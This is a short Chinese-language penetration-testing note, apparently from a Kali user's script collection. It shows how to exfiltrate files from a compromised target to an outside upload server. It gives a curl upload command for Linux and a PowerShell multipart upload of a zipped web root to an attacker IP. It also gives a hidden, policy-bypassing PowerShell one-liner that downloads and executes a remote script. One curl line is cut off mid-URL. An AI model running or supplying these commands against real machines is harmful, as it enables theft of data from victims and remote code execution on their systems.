
在外网机器上运行文件服务接收服务
- root@kali:~/pentest-script/FileTransfer/HttpServer# python3 SimpleHttpUpload.py Serving HTTP on 0.0.0.0 port 8000 ...
- (True, "File '/root/pentest-script/FileTransfer/HttpServer/mo.zip' upload success!", 'by: ', ('127.0.0.1', 41170))
- 127.0.0.1 - - [09/Mar/2018 08:27:55] "POST / HTTP/1.1" 200 -
SimpleHTTPUpload.py
1. 如果是Linux在目标机器上执行CURL发送文件
- root@kali:~/Desktop# zip test.zip test.txt
- adding: test.txt (deflated 57%)
- root@kali:~/Desktop# curl -F file=@/root/Desktop/test.zip http:
2. 如果是windows机器, 可以使用Powershell上传文件
- zip.exe -r temp.zip wwwroot
- $fileName = "temp.zip"
- $uri = "http://192.168.224.129:8000/"
- $currentPath = Convert-Path .
- $filePath="$currentPath\$fileName"
- $fileBin = [System.IO.File]::ReadAlltext($filePath)
- $bodyLines = ("------------------------83cdc2d56002d24a","Content-Disposition: form-data; name=`"file`"; filename=`"$fileName`"","Content-Type: application/octet-stream;",$fileBin,"--------------------------83cdc2d56002d24a--$LF" ) -join "`r`n"
- Invoke-RestMethod -Uri $uri -Method Post -ContentType "multipart/form-data; boundary=------------------------83cdc2d56002d24a" -Body $bodyLines
或者将powershell存在外网机器上, 下载并执行:
- powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('<target>/.ps1');"